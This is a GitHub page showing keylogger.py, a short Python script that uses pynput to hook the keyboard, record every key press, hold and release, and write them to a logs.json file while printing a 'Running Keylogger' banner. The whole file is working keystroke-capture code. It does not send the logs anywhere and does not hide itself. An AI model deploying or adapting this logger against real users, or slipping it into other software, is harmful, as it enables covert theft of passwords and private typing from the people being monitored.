-
Notifications
You must be signed in to change notification settings - Fork 6
/
keylogger.py
46 lines (36 loc) · 1008 Bytes
/
keylogger.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pynput import keyboard
import json
key_list = []
x = False # Value to determine if held
def update_json_file(key_list):
with open('logs.json', '+wb') as key_log:
key_list_bytes = json.dumps(key_list).encode()
key_log.write(key_list_bytes)
def on_press(key):
global x, key_list
if x == False:
key_list.append(
{'Pressed': f'{key}'}
# f'Key {key} pressed'
)
x = True
if x == True:
key_list.append(
{'Held': f'{key}'}
# f'Key {key} pressed'
)
update_json_file(key_list)
def on_release(key):
global x, key_list
key_list.append(
{'Released': f'{key}'}
# f'Key {key} released'
)
if x == True:
x = False
update_json_file(key_list)
print("[+] Running Keylogger successfully!\n[!] Saving the key logs in 'logs.json'")
with keyboard.Listener(
on_press=on_press,
on_release=on_release) as listener:
listener.join()